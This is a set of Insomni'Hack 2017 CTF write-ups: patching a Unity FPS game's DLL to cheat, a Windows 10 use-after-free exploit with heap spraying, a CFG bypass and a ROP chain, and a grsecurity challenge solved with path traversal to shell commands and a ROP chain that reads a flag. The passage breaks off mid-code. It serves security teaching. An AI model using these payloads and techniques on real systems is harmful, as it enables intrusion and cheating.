Insomni’Hack 2017 – FPS Write-Ups

For the 10th Insomni’Hack anniversary, new hacking challenge categories were available during the CTF. They consisted of social engineering, hacking room, and a multiplayer FPS game.

This article will cover several write-ups for this last category. It is a great occasion to understand quickly some basis of modern game hacking.

The game was compiled with Unity Engine, methods demonstrated here could work on other games compiled by the same engine. The binaries and installation instructions will be available at the end of the article.

Challenges

The following mention was written into every challenge description: “You will find almost all of the logic code into Data\Managed\Assembly-CSharp.dll.“

A .NET assembly editor and decompiler are needed as CSharp uses .NET platform. The decompiler has to feature a decent search method (a game .dll to analyze is likely to have a large number of classes). For this write-up, the dnSpy tool was used. It is available on Github.

Escape Room

The game developers are implementing a tutorial level called “Basement”. They tried to block players from accessing the level by setting obstacles. Show them you are still able to reach the main room.

This is the first and only challenge to do on the “Basement” map.

Once connected, we spawn into a small room. There seems to be only one way out :

Our jump power is way too low to go there. So we could try to implement a fly hack but it may be too overkill for this first challenge. A smarter way would be to find a variable that increases our jump enough to go through this way.

We launch dnSpy and decompile the earlier mentioned .dll.

We should start by searching for the “Jump” string into DnSpy. At this point, we already note that a lot of our search results are located in the vp_FPController class and see some interesting names containing the JumpForce string which sounds like an interesting name. We refine our search:

(On dnSpy, a string being referenced several times in the same file will only be shown once into the search assemblies (bottom window) results. You must then use the other search bar in the editor window at the upper right corner to navigate through the several references from the same file.)

The MotorJumpForce is the only candidate for a jump variable that is located in this vp_FPController class that we see so often in the results. Let’s start from there and if it doesn’t work we will check the ones in the other classes.

This variable is only referenced into the OnStart_Jump callback whose code is below:

(Note the usage of the class member MotorFreeFly on the second line whose name is interesting. In this method, this class member would cancel the jump if set to true and if the player isn’t grounded, this will be useful for the next challenge).

Now that we found this function, let’s multiply by 10 our jump force. Edit Method (Ctrl+Shift+E) and replace the next to last line for this one:

Now press the Compile button at the bottom-right of the window to close the method edition and Save All (Ctrl+Shift+S) to overwrite the existing .dll.

We’ve succeeded to through this way, but at some point, there are mines blocking the way. If we listen carefully we hear a trigger sound before the explosion occurs. If the explosion occurs after a delay, and that we succeed to trigger it running fast enough, we can avoid damage.

Now that we patched the jump force, we should try to patch the player’s acceleration or movement speed by searching some related words like “speed” or “acceleration” in the same vp_FPController class.

We fall in two methods coming from the same caller UpdateMotor() :

If we suppose the MotorFreeFly variable is not set, we have to edit the last line of the UpdateThrottleWalk() method, where m_MotorThrottle.z get reassigned. Z-axis corresponds to the W and S controller keys.

Once we increased this variable, we are able to pass this obstruction, we get the flag and can finally move on the next map.

Reach the Top

Positioning is the key to any tactical operation, especially if you are alone. Prove you are the best player by reaching the top of the building:

(Using the previous jump hack doesn’t directly help to solve this challenge because you need to be alive for several seconds to get the flag).

The first idea is to remove gravity from our player. m_GravityMultiplier and PhysicsGravityModifier look good candidates especially the second one since he’s located in vp_Controller.

Once again we find some references in the vp_Controller class, in a method called UpdateForces that is not taking any parameter.

This method is called every frame and calculates the falling speed the player.

We can replace the 0.002f coefficient to 0f, and recompile. The plan is to jump and see if we could go above the building.

In this demo, the player is getting stuck after his first jump. The player cannot jump a second time because the controller checks whether you are grounded or not before allowing your next jump.

Remember the MotorFreeFly variable we found several times earlier? Let’s inspect it a little more, and find references to it. Right-click on it and choose “Analyze” (Ctrl + Shift + R).

Again, we see that the functions come from the same vp_FPController class we edited earlier. The MotorFreeFly variable is used 4 times in it. In the CanStart_Jump and OnStart_Jump functions, this variable is used to check if the player should perform a jump, but the UpdateJump and UpdateMotor functions, that are called every frame, reveal something more interesting:

As we saw earlier, we understand that the controller will handle walk and jump functions differently depending on whether the MotorFreeFly variable is set to “True” or not.

A lot of FPS games have an advanced “free fly” mode implemented (called “no clipping” and prevents the first person camera from being obstructed by other objects and also permits the camera to move in any direction). The code implemented for this feature could be triggered by a player to cheat without having to understand the game physics.

To solve this part, we should find all references to MotorFreeFly in any conditional expression, remove the ‘!’ negation operator when prefixed, and conversely append it when not present.

Re-toast it!

A bug was reported to the developers about an unstable toasting feature. They patched the toaster to restrict players from triggering it by adding a keypad. Once the toaster is activated, you don’t have much time to enter the password. Could you show them that you can still make a toast?

Let’s search for the “Toast” keyword:

We find an interesting function name, it takes a string in an argument called “code”.

This function seems to be a wrapper for a RPC call destined to the Master (second argument) that checks if the submitted code matches. The RPC function code is the following one, it’s executed server-side:

No anti-brute force mechanism is implemented, then, surrounding the RPC call with a basic loop will brute-force the PIN:

Finally, trying any combination in-game results in defusing the toaster and receiving the flag.

Install instructions

The game was not designed to be publicly released. It is still far away from a real game and this is why won’t find it on any game platform. Nevertheless, it has a great educational value and we want to share it for these purposes.

To play the game, first, register (free) on PhotonEngine and download the Server SDK.

Run the PhotonControl application, and set the Server IP to 127.0.0.1.

Then, start the LoadBalancing application.

Finally, launch the game depending on your platform:

Exploiting a misused C++ shared pointer on Windows 10

In this post I describe a detailed solution to my “winworld” challenge from Insomni’hack CTF Teaser 2017. winworld was a x64 windows binary coded in C++11 and with most of Windows 10 built-in protections enabled, notably AppContainer (through the awesome AppJailLauncher), Control Flow Guard and the recent mitigation policies.

These can quickly be verified using Process Hacker (note also the reserved 2TB of CFGBitmap!):

The task was running on Windows Server 2016, which as far as the challenge is concerned behaves exactly as Windows 10 and even uses the exact same libraries. The challenge and description (now with the source code) can be found here.

Logic of the binary:

Our theme this year was “rise of the machines”; winworld is about the recent Westworld TV show, and implements a “narrator” interface where you can create robots and humans, configure their behavior, and move them on a map where they interact with each other.

The narrator manipulates Person objects, which is a shared class for both “hosts” (robots) and “guests” (humans). Each type is stored in separate list.

Each Person object has the following attributes:

The narrator exposes the following commands:

--[ Welcome to Winworld, park no 1209 ]--
narrator [day 1]$ help
Available commands:
 - new <type> <sex> <name>
 - clone <id> <new_name>
 - list <hosts|guests>
 - info <id>
 - update <id> <attribute> <value>
 - friend <add|remove> <id 1> <id 2>
 - sentence <add|remove> <id> <sentence>
 - map
 - move <id> {<l|r|u|d>+}
 - random_move
 - next_day
 - help
 - prompt <show|hide>
 - quit
narrator [day 1]$

The action happens during calls to move or random_move whenever 2 persons meet. The onEncounter method pointer is called and they interact. Only attack actually has impact on the other Person object: if the attack is successful the other takes damage and possibly dies. Robots can die an infinite number of times but cannot kill humans. Humans only live once and can kill other humans. The next_day feature restores the lives of robots and the health of everyone, but if the object is a dead human, it gets removed from its list.

People talk in an automated way using a Markov Chain that is initialized with the full Westworld script and the added sentences, which may incur in fun conversations. Many sentences still don’t quite make sense though, and since the vulnerabilities aren’t in there, I specified it in the description to spare some reversing time (there is already plenty of C++ to reverse…).

Vulnerability 1: uninitialized attribute in the Person copy constructor

During the Narrator initialization, the map is randomly generated and a specific point is chosen as the “maze center”, special point that when reached under certain conditions, turns a robot into a human. These conditions are that the currently moved Person must be a HOST, have is_conscious set, and there must be a human (GUEST) on the maze center too.

First thing is thus to find that point. All randomized data is obtained with rand(), and the seed is initialized with a classic srand(time(NULL)). Therefore the seed can be determined easily by trying a few seconds before and after the local machine time. Once synchronized with the server’s clock, simply replaying the map initialization algorithm in the exploit will finally allow to find the rand() values used to generate the maze center. Coding a simple pathfinding algorithm then allows to walk any person to this position.

Robots are initialized with is_conscious = false in the Person::Person constructor. However the Person::Person *copy* constructor used in the narrator’s clone function forgets to do this initialization! The value will thus be uninitialized and use whatever was already on the heap. It turns out that just cloning a robot is often enough to get is_conscious != 0… but let’s make sure it always is.

Sometimes the newly cloned robot will end up on the Low Fragmentation Heap, sometimes not. Best is then to make sure it always ends up on the LFH by cloning 0x10 – number of current Person objets = 6. Let’s clone 6+1 times a person and check in windbg:

0:004> ? winworld!Person::Person
Matched: 00007ff7`9b9ee700 winworld!Person::Person (<no parameter info>)
Matched: 00007ff7`9b9ee880 winworld!Person::Person (<no parameter info>)
Ambiguous symbol error at 'winworld!Person::Person'
0:004> bp 00007ff7`9b9ee880 "r rcx ; g" ; bp winworld!Person::printInfos ; g
rcx=0000024a826a3850
rcx=0000024a826800c0
rcx=0000024a82674130
rcx=0000024a82674310
rcx=0000024a82673a50
rcx=0000024a82673910
rcx=0000024a82673d70
Breakpoint 1 hit
winworld!Person::printInfos:
00007ff7`9b9f0890 4c8bdc mov r11,rsp
0:000> r rcx
rcx=0000024a82673d70
0:000> !heap -x 0000024a826800c0
Entry User Heap Segment Size PrevSize Unused Flags
-------------------------------------------------------------------------------------------------------------
0000024a826800b0 0000024a826800c0 0000024a82610000 0000024a82610000 a0 120 10 busy 

0:000> !heap -x 0000024a82673d70
Entry User Heap Segment Size PrevSize Unused Flags
-------------------------------------------------------------------------------------------------------------
0000024a82673d60 0000024a82673d70 0000024a82610000 0000024a828dec10 a0 - 10 LFH;busy

Here we see that the first 2 clones aren’t on the LFH, while the remaining ones are.

The LFH allocations are randomized, which could add some challenge. However these allocations are randomized using an array of size 0x100 with a position that is incremented modulo 0x100, meaning that if we spray 0x100 elements of the right size, we will come back to the same position and thus get a deterministic behavior. We don’t even need to keep the chunks in memory, so we can simply spray using a command string of size 0x90 (same as Person), which will always initialize the is_conscious attribute for the upcoming clone operation.

So now our robot becomes human, and the troubles begin!

Note: It seems that by default Visual Studio 2015 enables the /sdl compilation flag, which will actually add a memset to fill the newly allocated Person object with zeros, and thus makes it unexploitable. I disabled it 😉 But to be fair, I enabled CFG which isn’t default!

Vulnerability 2: misused std::shared_ptr

A shared pointer is basically a wrapper around a pointer to an object. It notably adds a reference counter that gets incremented whenever the shared_ptr is associated to a new variable, and decremented when that variable goes out of scope. When the reference counter becomes 0, no more references to the object are supposed to exist anywhere in the program, so it automatically frees it. This is very useful against bugs like Use After Free.

It is however still possible to be dumb with these smart pointers… in this challenge, when a robot becomes human, it stays in the robots list (but its is_enable field becomes false so it cannot be used as a robot anymore), and gets inserted into the humans list with the following code:

This is very wrong because instead of incrementing the reference counter of the object’s shared_ptr, we instead create a new shared_ptr that points to the same object:

When the reference counter of any of the two shared_ptr gets decremented to 0, the object gets freed and since the other shared_ptr is still active, we will get a Use After Free! To do so, we can kill the human-robot using another human. We also have to remove all his friends otherwise the reference counter will not reach 0. Then using the next_day function will free it when it removes the pointer from the guests vector:

So now getting RIP should be easy since the object holds a method pointer: spray 0x100 strings of length 0x90 with a fake object – a std::string can also contain null bytes – and then move the dead human-robot left-right so he meets his killer again, and triggers the overwritten onEncounter method pointer:

def craft_person(func_ptr, leak_addr, size):
 payload = struct.pack("<Q", func_ptr) # func pointer
 payload += "\x00" * 24 # friends std::vector
 payload += "\x00" * 24 # sentences std::vector

 # std::string name
 payload += struct.pack("<Q", leak_addr)
 payload += "JUNKJUNK"
 payload += struct.pack("<Q", size) # size
 payload += struct.pack("<Q", size) # max_size

 payload += struct.pack("<I", 1) # type = GUEST
 payload += struct.pack("<I", 1) # sex
 payload += "\x01" # is_alive
 payload += "\x01" # is_conscious
 payload += "\x01" # is_enabled
 [...]

payload = craft_person(func_ptr=0x4242424242424242, leak_addr=0, size=0)
for i in range(0x100):
    sendline(s, payload)
sendline(s, "move h7 lr")

Result:

0:004> g
(1a00.c68): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
ntdll!LdrpValidateUserCallTarget+0xe:
00007ffa`89b164ae 488b14c2 mov rdx,qword ptr [rdx+rax*8] ds:010986ff`08d30908=????????????????
0:000> ? rax << 9
Evaluate expression: 4774451407313060352 = 42424242`42424200

Control Flow Guard is going to complicate things a bit, but before that we still need to leak one address to defeat ASLR.

Leaking the binary base address

In the previous code sample we crafted a name std::string of size 0 to prevent the binary from crashing when printing the name. Replacing the pointer and size with valid values will print size bytes at that address, therefore we got our arbitrary read primitive. Now what do we print? There is ASLR everywhere except for the _KUSER_SHARED_DATA at 0x7ffe0000, which doesn’t hold any pointer anymore on Windows 10…

Instead of exploiting our UAF with a string we must therefore replace the freed Person object with another object of the same LFH size (0xa0). We don’t have any, but we can check if we could increase the size of one of our vectors instead.

Iteratively trying with our std::vector<std::shared_ptr<Person>> friends, we get lucky with 7 to 9 friends:

0:004> g
Breakpoint 0 hit
winworld!Person::printInfos:
00007ff7`9b9f0890 4c8bdc mov r11,rsp
0:000> dq rcx
000001cf`94daea60 00007ff7`9b9ef700 000001cf`94d949b0
000001cf`94daea70 000001cf`94d94a20 000001cf`94d94a40
000001cf`94daea80 000001cf`94dac6c0 000001cf`94dac760
000001cf`94daea90 000001cf`94dac780 00736572`6f6c6f44
000001cf`94daeaa0 61742074`73657567 00000000`00000007
000001cf`94daeab0 00000000`0000000f 00000002`00000000
000001cf`94daeac0 00000000`20010001 00000000`00000000
000001cf`94daead0 0000003d`00000020 0000000a`00000004
0:000> !heap -x 000001cf`94d949b0
Entry User Heap Segment Size PrevSize Unused Flags
-------------------------------------------------------------------------------------------------------------
000001cf94d949a0 000001cf94d949b0 000001cf94d30000 000001cf94dafb50 a0 - 10 LFH;busy 

0:000> dq 000001cf`94d949b0
000001cf`94d949b0 000001cf`94dfb410 000001cf`94d90ce0
000001cf`94d949c0 000001cf`94dac580 000001cf`94d90800
000001cf`94d949d0 000001cf`94d98f90 000001cf`94d911c0
000001cf`94d949e0 000001cf`94d99030 000001cf`94d912e0 # string pointer
000001cf`94d949f0 000001cf`94db4cf0 000001cf`94d91180 # string size
000001cf`94d94a00 000001cf`94db7e60 000001cf`94d912a0
000001cf`94d94a10 000001cf`94e97c70 000001cf`94d91300
000001cf`94d94a20 7320756f`590a2e73 73696874`20776f68
0:000> dps poi(000001cf`94d949b0+8+0n24*2) L3
000001cf`94d912e0 00007ff7`9b9f7158 winworld!std::_Ref_count<Person>::`vftable'
000001cf`94d912e8 00000001`00000005
000001cf`94d912f0 000001cf`94d99030

The vector now belongs to the same LFH bucket as Person objects. If  we spray 0xf0 strings followed by 0x10 7-friends vectors we will be able to leak pointers: to a vtable inside winworld and to the heap. We should be able to actually do that with 0xff strings then 1 friends vector, but there appears to be some allocations happening in between sometimes – and I haven’t debugged what caused it.

We don’t control the size though, which is huge, so the binary will inevitably crash! Good thing is that on Windows libraries are randomized only once per boot, as opposed to the heap, stack etc. that are randomized for each process. This is dirty, but since this binary is restarted automatically it isn’t a problem, so we have leaked the binary base and we can reuse it in subsequent connections.

Protip: when you develop a Windows exploit, don’t put the binary on the share to your Linux host, this has the nice side effect of forcing randomization of the binary base at each execution! Call it a mitigation if you want 🙂

Bypassing Control Flow Guard

Control Flow Guard (CFG) is Microsoft’s Control Flow Integrity (CFI) measure, which is based on the simple idea that any indirect call must point to the beginning of a function. A call to __guard_check_icall_fptr is inserted before indirect calls:

On Windows 10 this calls ntdll!LdrpValidateUserCallTarget to check that the pointer is a valid function start using its CFGBitmap of allowed addresses, and aborts if not.

The advantage of CFG is that it can hardly break a legit program (so, no reason not to use it!). However 3 generic weaknesses are apparent in CFG:

  1. The set of allowed targets is still huge, compared to a CFI mechanism that verifies the type of function arguments and return values
  2. It cannot possibly protect the stack, since return addresses are not function starts. Microsoft will attempt to fix this with Return Flow Guard and future Intel processor support, but this is not enforced yet.
  3. If a loaded module isn’t compiled with CFG support, all the addresses within that modules are set as allowed targets in the CFGBitmap. Problems may also arise with JIT. (here the binary and all DLLs support CFG and there is no JIT)

While I was writing this challenge an awesome blog post was published about bypassing CFG, that abuses kernel32!RtlCaptureContext (weakness 1). It turns out that j00ru – only person that solved this task, gg! – used it to leak the stack, but I haven’t, and opted for leaking/writing to the stack manually (weakness 2).

We have abused the std::string name attribute for arbitrary read already, now we can also use it to achieve arbitrary write! The only requirement is to replace the string with no more bytes than the max size of the currently crafted std::string object, which is therefore no problem at all. This is cool, however so far we don’t even know where the stack (or even heap) is, and it is randomized on each run of the program as opposed to the libraries. We will come back to this later on. First we also want to leak the addresses of the other libraries that we may want to use in our exploit.

Leaking other libraries

Using the binary base leak and a spray of 0x100 crafted persons strings we have enough to leak arbitrary memory addresses. We can leave the vectors to null bytes to prevent them from crashing during the call to Person::printInfos.

Now that we have the binary base address and that it will stay the same until next reboot, leaking the other libraries is trivial: we can just dump entries in the IAT. My exploit makes use of ucrtbase.dll and ntdll.dll (always in the IAT in the presence of CFG), which can be leaked by crafting a std::string that points to the following addresses:

0:000> dps winworld+162e8 L1
00007ff7`9b9f62e8 00007ffa`86d42360 ucrtbase!strtol
0:000> dps winworld+164c0 L2
00007ff7`9b9f64c0 00007ffa`89b164a0 ntdll!LdrpValidateUserCallTarget
00007ff7`9b9f64c8 00007ffa`89b164f0 ntdll!LdrpDispatchUserCallTarget

To repeat the leak we can overwrite the onEncounter method pointer with the address of gets(), once we have located the base address of ucrtbase.dll. This is of course because of the special context of the task that has its standard input/output streams redirected to the client socket. This will trigger a nice gets(this_object) heap overflow that we can use to overwrite the name string attribute in a loop.

Leaking the stack

Where can we find stack pointers? We can find the PEB pointer from ntdll, however in x64 the PEB structure doesn’t hold any pointer to the TEBs (that contains stack pointers) anymore…

A recent blogpost from j00ru described an interesting fact: while there is no good reason to store stack pointers on the heap, there may be some leftover stack data that was inadvertently copied to the heap during process initialization.

His post describes it on x86, let’s check if we still have stack pointers lurking on the heap in x64:

0:001> !address
[...]
        BaseAddress      EndAddress+1        RegionSize     Type       State                 Protect             Usage
--------------------------------------------------------------------------------------------------------------------------
[...]
        3b`b6cfb000       3b`b6d00000        0`00005000 MEM_PRIVATE MEM_COMMIT  PAGE_READWRITE                     Stack      [~0; 2524.1738]
[...]
0:001> !heap
 Heap Address NT/Segment Heap

 17c262d0000 NT Heap
 17c26120000 NT Heap
0:001> !address 17c262d0000 

Usage: Heap
Base Address: 0000017c`262d0000
End Address: 0000017c`26332000
[...]
0:001> .for (r $t0 = 17c`262d0000; @$t0 < 17c`26332000; r $t0 = @$t0 + 8) { .if (poi(@$t0) > 3b`b6cfb000 & poi(@$t0) < 3b`b6d00000) { dps $t0 L1 } }
0000017c`262d2d90 0000003b`b6cff174
0000017c`262deb20 0000003b`b6cffbd8
0000017c`262deb30 0000003b`b6cffbc8
0000017c`262deb80 0000003b`b6cffc30
0000017c`2632cf80 0000003b`b6cff5e0
0000017c`2632cfc0 0000003b`b6cff5e0
0000017c`2632d000 0000003b`b6cff5e0
0000017c`2632d1a0 0000003b`b6cff5e0
0000017c`2632d2c0 0000003b`b6cff5e0
0000017c`2632d4e0 0000003b`b6cff5e0
0000017c`2632d600 0000003b`b6cff5e0
0000017c`2632d660 0000003b`b6cff5e0
0000017c`2632d6e0 0000003b`b6cff5e0
0000017c`2632d700 0000003b`b6cff5e0
0:000> dps winworld+1fbd0 L3
00007ff7`9b9ffbd0 0000017c`2632ca80
00007ff7`9b9ffbd8 0000017c`262da050
00007ff7`9b9ffbe0 0000017c`2632cf20

Yes! We indeed still have stack pointers on the default heap, and we can leak an address from that heap at static offsets from our winworld base address.

Now we can just browse heap pages and try to find these stack addresses. In my exploit for simplicity I used a simple heuristic that finds QWORDS that are located below the heap but also above 1`00000000, and interactively ask which one to choose as a stack leak. This can obviously be improved.

Next step is to dump the stack until we find the targeted return address, craft our std::string to point to that exact address, and use the “update <id> name ropchain” feature to write a ropchain!

Mitigation policies & ROP

Now that we have both an arbitrary write and the exact address where we can overwrite a saved RIP on the stack, all that is left is build a ROP chain. Several ideas to do it:

  • VirtualProtect then shellcode
  • LoadLibrary of a library over SMB
  • Execute a shell command (WinExec etc.)
  • Full ROP to read the flag

As mentioned earlier the binary has some of the recent mitigation policies, in our context the following ones are relevant:

  • ProcessDynamicCodePolicy : prevents inserting new executable memory → VirtualProtect will fail
  • ProcessSignaturePolicy : libraries must be signed  → prevents LoadLibrary
  • ProcessImageLoadPolicy : libraries cannot be loaded from a remote location → prevents LoadLibrary over SMB

The two last options are still available. I also wanted to add a call to UpdateProcThreadAttribute with PROC_THREAD_ATTRIBUTE_CHILD_PROCESS_POLICY in the parent AppJailLauncher process – which would prevent winworld from creating new processes – but since it is a console application, spawning winworld also creates a conhost.exe process. Using this mitigation prevents the creation of the conhost.exe process and therefore the application cannot run.

My solution reads the flag directly in the ROP chain. Since I didn’t want to go through all the trouble of CreateFile and Windows handles, I instead used the _sopen_s / _read / puts / _flushall functions located in ucrtbase.dll that have classic POSIX-style file descriptors (aka 0x3).

Looking for gadgets in ntdll we can find a perfect gadget that pop the first four registers used in the x64 calling convention. Interestingly the gadget turns out to be in CFG itself, which was a scary surprise while single stepping through the rop chain…

0:000> u ntdll+96470 L5
ntdll!LdrpHandleInvalidUserCallTarget+0x70:
00007ffa`89b16470 5a pop rdx
00007ffa`89b16471 59 pop rcx
00007ffa`89b16472 4158 pop r8
00007ffa`89b16474 4159 pop r9
00007ffa`89b16476 c3 ret

Putting it all together we finally get the following:

Z:\awe\insomnihack\2017\winworld>python sploit.py getflag remote
[+] Discovering the PRNG seed...
 Clock not synced with server...
[+] Resynced clock, delay of -21 seconds
[+] Found the maze center: (38, 41)
[+] Check the map for people positions
[+] Make sure that LFH is enabled for bucket of sizeof(Person)
6 / 6 ...
[+] Spray 0x100 std::string to force future initialization of pwnrobot->is_conscious
256 / 256 ...
[+] Cloning host, with uninitialized memory this one should have is_conscious...
[+] Removing current friends of pwnrobot...
[+] Moving a guest to the maze center (37, 86) -> (38, 41)...
[+] Moving our host to the maze center (38, 29) -> (38, 41)...
[+] pwnrobot should now be a human... kill him!
[+] Removing all pwnrobot's friends...
7 / 7 ...
[+] Decrement the refcount of pwnrobot's human share_ptr to 0 -> free it
[+] Spray 0x100 std::string to trigger UAF
256 / 256 ...
[+] heap leak: 0x18a6eae8b40
[+] Leaking stack ptr...
[+] Dumping heap @ 0x18a6eae6b40...
[+] Dumping heap @ 0x18a6eae7b40...
[HEAP] 0x18a6eae7b40
 [00] - 0x18a6ea96c72
 [01] - 0x18a6ea9c550
 [02] - 0x18a6ea9e6e0
Use which qword as stack leak?
[+] Dumping heap @ 0x18a6eae8b40...
[HEAP] 0x18a6eae8b40
 [00] - 0x3ab7faf120
 [01] - 0x3ab7faf4f0
 [02] - 0x18a6ea9c550
 [03] - 0x18a6eae84c0
 [04] - 0x18a6eae8560
 [05] - 0x18a6eae8760
Use which qword as stack leak? 1
[+] stack @ 0x3ab7faf4f0
[+] Leaking stack content...
[-] Haven't found saved RIP on the stack. Increment stack pointer...
[-] Haven't found saved RIP on the stack. Increment stack pointer...
[-] Haven't found saved RIP on the stack. Increment stack pointer...
RIP at offset 0x8
[+] Overwrite stack with ROPchain...
[+] Trigger ROP chain...
Better not forget to initialize a robot's memory!

Flag: INS{I pwn, therefore I am!}
[+] Exploit completed.

Conclusions

You can find the full exploit here.

I hope it was useful to those like me that are not so used at to do C++ or Windows exploitation. Again congratulations to Dragon Sector for solving this task, 1h before the CTF end!

rbaced – a CTF introduction to grsecurity’s RBAC

Description

rbaced was a pwnable challenge at last week-end’s Insomni’hack Teaser, split in 2 parts: rbaced1 and rbaced2.

TL;DR: grsecurity/PaX can prevent introducing executable memory in a process or execute untrusted binaries, and make your life miserable.

The description:

This coffee machine can be controlled from your smartphone.
We can’t provide the app itself, however we found the HTTP server running on the machine… which seems to be *very* crappy and subject to several lame vulnerabilities.
Since the binaries can’t be recompiled, administrators have attempted to harden the system with grsecurity…
Read /flag_part1 to get the flag for part I. [200pts]
Run /getflag_part2 to get the flag for part II. [300pts]
Challenge files | Link
Your coffee creds: <login> / <password>

FYI: This is a pwnable, not a web. No kernel exploit involved 🙂

As just described, this challenge is running on a system hardened with grsecurity. While a large part of grsecurity is kernel self-protection, this challenge focuses on userland protections.
Since hiding deployment details doesn’t add any fun to a CTF task, we provided everything required to run the challenge in the same context than the online instance:

rbaced/
    rbaced/
    ├── etc/
    │   ├── grsec/
    │   │   ├── policy                         # RBAC policy for default roles
    │   │   └── roles/
    │   │       ├── groups/
    │   │       └── users/
    │   │           ├── authenticator          # definition of the authenticator role
    │   │           └── rbaced                 # definition of the rbaced role
    │   ├── sysctl.d/
    │   │   └── 05-grsecurity.conf             # runtime grsecurity options (shows deter_bruteforce is disabled among others)
    │   └── xinet.d/                           # fail in the directory name 😉
    │       └── authenticator                  # associates incoming 127.0.0.1:4242 requests to the authentication binary
    ├── home/
    │   ├── authenticator/
    │   │   ├── authenticator                  # authentication binary (compiled with SSP/PIE/RELRO/FORTIFY)
    │   │   └── creds_db.txt                   # hashed credentials
    │   └── rbaced/
    │       ├── rbaced                         # HTTP server, handles CGI, static files and errors - no SSP/PIE/RELRO/FORTIFY
    │       ├── rbaced.conf                    # HTTPd configuration file
    │       └── www/
    │           ├── cgi-bin/
    │           │   ├── order                  # binary - no SSP/PIE/RELRO/FORTIFY
    │           │   └── preferences            # binary that saves preferences in a pref.txt file - no SSP/PIE/RELRO/FORTIFY
    │           ├── index.html
    │           ├── static/*                   # static files (css, js, images...)
    │           └── userdata/                  # writable directory to save preferences
    ├── lib/
    │   └── x86_64-linux-gnu/
    │       └── libc.so.6                      # libc to get the same offsets than the online host
    ├── README
    └── usr/
        └── src/
            ├── config-4.3.3-grsec             # kernel config
            └── linux-image-4.3.3-grsec.deb    # kernel and modules for debian/ubuntu (same as online)

Once these files were copied/installed, you just had to download and install gradm.
Run gradm -E after setting passwords as instructed, and you’re ready to go!

The RBAC policy

A grsecurity RBAC policy is pretty easy to understand. It is documented here. Role, subject and object modes can be found in links in the appendix here.

The rbaced role is defined as follows:

role rbaced uT
subject /
    /                                       h
    /etc/ld.so.cache                        r
    /dev/urandom                            r
    /dev/random                             r
    /lib/x86_64-linux-gnu                   rx
    /lib64                                  rx
    /home/rbaced/www/index.html             r
    /home/rbaced/www/cgi-bin/               x
    /home/rbaced/www/userdata/              cdrw
    /home/rbaced/www/static/                r

    $grsec_denied

    -CAP_ALL
    +PAX_MPROTECT
    +PAX_RANDMMAP
    RES_CPU 25s 25s
    connect disabled
    bind disabled

subject /home/rbaced/rbaced
    /flag_part1                             r
    /home/rbaced/rbaced.conf                r
    /home/rbaced/rbaced                     x

    +PAX_MPROTECT
    +PAX_RANDMMAP
    RES_CPU 25s 25s
    connect 127.0.0.1:4242 stream tcp
    bind disabled

All objects on the filesystem are hidden ‘h‘ by default, and permissions are granted progressively.
The default subject ( / ) will apply to any process run by user rbaced unless there is another more specific subject matching that process that overrides ACL inheritance with the ‘o‘ mode (more info).
Thus, our CGI binaries in /home/rbaced/www/cgi-bin/ will run with default ACLs, and /home/rbaced/rbaced will have several additional permissions, including the authorization to execute itself.

The authenticator role implements similar restrictions but allows to execute /getflag_part2.

Just by looking at the RBAC policy, we can already deduce that to solve rbaced1 we have to exploit rbaced (only process that can read /flag_part1), and authenticator for rbaced2 (only process that can exec /getflag_part2). We also know that authenticator is bound on localhost and only rbaced can connect to it, so we will have to exploit authenticator through rbaced, somehow. Also worth noting is that there is nothing in the authenticator role that specifically disables connect/bind. As a result it is enabled by default.

The vulnerabilities

Before we delve into the vulnerabilities, let’s summarize the logic implemented in the challenge.

The rbaced binary operates in two modes:

  • Server mode: run as root with --config=/home/rbaced/rbaced.conf --daemon. This is the HTTP server listening on port 8080. It drops privileges to rbaced/rbaced, thereby transitioning into the rbaced role, then returns the output of a CGI binary or an error. If the file exists and is not a CGI binary, it executes itself as a client instead.
  • Client mode: acts as a CGI binary and returns either the index, the file in env['SCRIPT_NAME'] or the file provided by the --file option. It checks if the file belongs to the env['SERVER_ROOT']

The CGI binaries (requiring authentication) are:

  • preferences: a form to save your favorite coffee preferences (sugar, cream, strength…). It saves those in a pref.txt file unique to the IP/creds
  • order: a form that loads existing preferences, but does nothing useful.

The authenticator binary takes base64-encoded input (from Authorization: Basic) and verifies that it matches valid credentials. Each team had different credentials during the CTF for isolation purposes.

As suggested in the description – the vulnerabilities are not quite sophisticated:

  1. cgi-bin/preferences allows to write almost arbitrary content to the pref.txt file. Ex: “sugar = <urldecode(POST['sugar'])>
  2. rbaced checks whether it should execute a CGI binary or itself by examining if the requested file starts with "/cgi-bin/" and executes the CGI directly from its filename, and is therefore vulnerable to a path traversal. Conveniently, the query string is also mapped to argv in the executed CGI.
  3. rbaced, when executed as a server, may parse its configuration from a config file. Each line is copied in a stack buffer of 1024 bytes with strcpy, leading to a straight buffer overflow.
  4. authenticator receives (in a loop) a base64-encoded Authorization-Basic string, decodes it in a stack buffer and prints "OK - Credentials accepted" or "KO - Invalid credentials '<decoded string>'". It is vulnerable to an even more obvious stack buffer overflow.

Solution for rbaced1

In a normal setup, vulnerability 2 would be as straight-forward as visiting the following page with valid credentials:

/cgi-bin/../../../../bin/bash?-c&echo+-e+"Content-Type:+flag\n\n";cat+/flag_part1

However, because of the policy, there is no bash:

[277417.298629] grsec: From <IP>: (rbaced:U:/home/rbaced/rbaced) denied access to hidden file /bin/bash by /home/rbaced/rbaced[rbaced:5409] uid/euid:1001/1001 gid/egid:1001/1001, parent /home/rbaced/rbaced[rbaced:2023] uid/euid:0/0 gid/egid:0/0

Instead, we can combine vulnerabilities 1 and 2 to reach vulnerability 3. Vulnerability 1 lets us craft a fake configuration file, which is then fed to vulnerability 2:

req = requests.get("http://%s:%s/cgi-bin/../../rbaced?--daemon&--config=userdata/%s/pref.txt" % (HOST, PORT, pref_hash), auth=auth)
print req.content

Since the overflow is caused by strcpy, we can’t have null bytes in our payload. This is however trivially bypassed by crafting null bytes on the stack using strcpy‘s terminating null byte in subsequent lines (but will increase the configuration file size a lot).
We cannot execute the classic system function, but an open/read/write ropchain does the job. The parent rbaced process expects a "Content-Type" and "\n\n" in the CGI output, so a simple call to puts("Content-Type: %s\n\n") must be prepended. The configuration User and Group fields are stored in BSS, which makes it convenient to store the flag path.

stage1 = rop([
    # print the Content-Type line (if we don't the server will raise a 500 error)
    stage1_call_func(elf.plt['puts'], content_type),
    # fd = open(flag, O_RDONLY)
    stage1_call_func(elf.plt['open'], bss_user, constants.O_RDONLY),
    # read(fd, &bss, size) -- size in rdx = stack addr (large enough)
    stage1_call_func(elf.plt['read'], 0x3, bss_addr, None),
    # print flag
    stage1_call_func(elf.plt['puts'], bss_addr),
